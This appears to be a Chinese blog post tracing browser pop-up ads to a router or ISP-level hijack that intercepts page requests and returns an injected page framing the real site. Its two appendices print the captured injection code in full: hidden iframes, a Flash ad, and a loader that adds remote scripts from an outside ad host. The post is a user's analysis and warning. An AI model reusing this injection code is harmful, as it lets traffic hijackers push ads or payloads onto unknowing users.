博文說明
寫這篇博客的目的是讓更多人知道,遇到這樣的情況時可能與運營商有關,不要責怪網站,網站也是受害者。
遭遇彈窗
這兩天遇到一個奇怪的問題,逛園子時瀏覽器經常被彈窗,窗中自然是廣告商。
不管是在宿舍還是在辦公室,不管是是在早上還是在晚上,不管是用Chrome/Firefox還是用IE,都會出現那扇窗。
被彈窗,很不爽;很想打開窗,看看制造商。
窗的特點
Flash打造,總是出現在瀏覽器的右下角,窗的右上角有個“X”關閉按鈕。
彈窗症狀
除了那扇讓人討厭的窗,當前訪問的網址被嵌入到iframe中;有時會造成瀏覽器Tab中的頁面標題消失;如果用的是IE瀏覽器,刷新后當前頁面會亂碼(彈窗時瀏覽器編碼被改為了GB2312,如果當前頁面用的是UTF-8編碼,就會亂碼)。
彈窗追蹤
當時IE出現的頻率比較高,於是按F12打開IE的Developer tools,選擇Network,點擊Start capturing,等待彈窗。。。
一彈窗,當場抓。
圖1:
圖2:
圖3:
圖4:
圖5:
【彈窗過程分析】
當你在瀏覽器中輸入網址后,瀏覽器首先通過DNS服務器將網址解析為IP地址,然后向目標IP地址發送請求,而這時就要經過一個個路由器;
彈窗者通過某個路由器攔路搶劫瀏覽器發出的請求,用包含彈窗代碼的HTML頁面直接返回,請求根本沒有到達目標IP;
彈窗者在返回的頁面中會加上iframe代碼並指向原始網址,不僅攔路搶劫,而且嫁禍於人,讓用戶誤以為是網站彈的窗。
彈窗危害
不僅嚴重干擾了用戶的互聯網生活,而且嚴重干擾了網站的正常服務。更嚴重的是,不了解情況的用戶誤以為是網站彈的窗,而網站只能望窗心嘆,一點辦法沒有。
彈后感
究竟誰這么強?控制了路由器還敢彈窗?
究竟誰這么流氓?為了賺錢讓用戶如此不爽?
反彈窗
方法一:向運營商舉報有人控制了他們的路由器在彈窗,讓他們趕緊防。
方法二:運營商工作忙,哪有工夫反彈窗,程序員們來幫忙,開發插件防彈窗。
【附一】
早上在寫博客的時候,在Chrome中抓到的彈窗廣告的完整HTML代碼:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <meta http-equiv="Expires" content="-1"> <title></title> <style type="text/css"> body { margin: 0px; padding: 0px; overflow: hidden; } </style> </head> <body> <iframe id="iframe279874858211" name="iframe279874858211" width="0" height="0" style="display: none; background-color: transparent;" allowtransparency="true" frameborder="0" scrolling="no"></iframe> <div id="poet_container" style="position: absolute; z-index: 2147483647; bottom: 0px; right: 17px; display: block; overflow: hidden; width: 300px; height: 270px; background-color: transparent;"> <div id="poet_normal_container" style="display: block; overflow: hidden; width: 300px; height: 270px; background-color: transparent;"> <object id="poet_normal_media" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="300" height="270"> <param name="movie" value="http://www.84787111.com/12052401//media/normal_outer.swf"> <param name="quality" value="high"><param name="wmode" value="transparent"> <param name="menu" value="false"> <param name="allowfullscreen" value="false"> <param name="allowscriptaccess" value="always"> <embed name="poet_normal_media" src="http://www.84787111.com/12052401//media/normal_outer.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="300" height="270" wmode="transparent" allowfullscreen="false" allowscriptaccess="always"> </object> </div> </div> <iframe id="iframecounter279874856493" name="iframecounter279874856493" width="0" height="0" style="display: none; background-color: transparent;" allowtransparency="true" frameborder="0" scrolling="no"></iframe> <iframe id="fulliframe" name="fulliframe" src="" width="100%" height="100%" marginheight="0" marginwidth="0" frameborder="0"></iframe> <script language="javascript" type="text/javascript"> function dB() { var uA = navigator.userAgent; if ((uA.indexOf("Firefox") > -1) || (uA.indexOf("Opera") > -1)) { frames[0].location = window.location + '?'; } else { frames[0].location = window.location; }; }; dB(); function c() { try { var f = frames[0]; var d = f.document; (function (s) { })(d.readyState); if (d && ('complete' == d.readyState)) { document.title = d.title ? d.title : ''; ; } else { setTimeout('c()', 10); } } catch (ex) { try { document.domain = document.domain.replace(/^\w+\./, ''); c(); } catch (ex) { } }; }; c(); </script> <script id="poet_ctrl_o" language="javascript" type="text/javascript"></script> <script id="poet_ctrl_2015919" type="text/javascript"></script> <script id="poet_ctrl_9167158" type="text/javascript"></script> </body> </html>
【附二】
在IE中抓到的引用自61.172.192.71的彈窗廣告js代碼:
(function () { var POET = window.POET = window.POET || {}; POET.PUSH = 'adc'; function createScript(src) { var script = document.createElement('script'); script.id = 'poet_ctrl_' + Math.floor(Math.random() * 10000000); script.src = src; script.type = 'text/javascript'; document.body.appendChild(script); } createScript('http://www.84787111.com/12060811ad/images/asd.js'); createScript('http://www.84787111.com/12061103btad/images/asd.js'); })();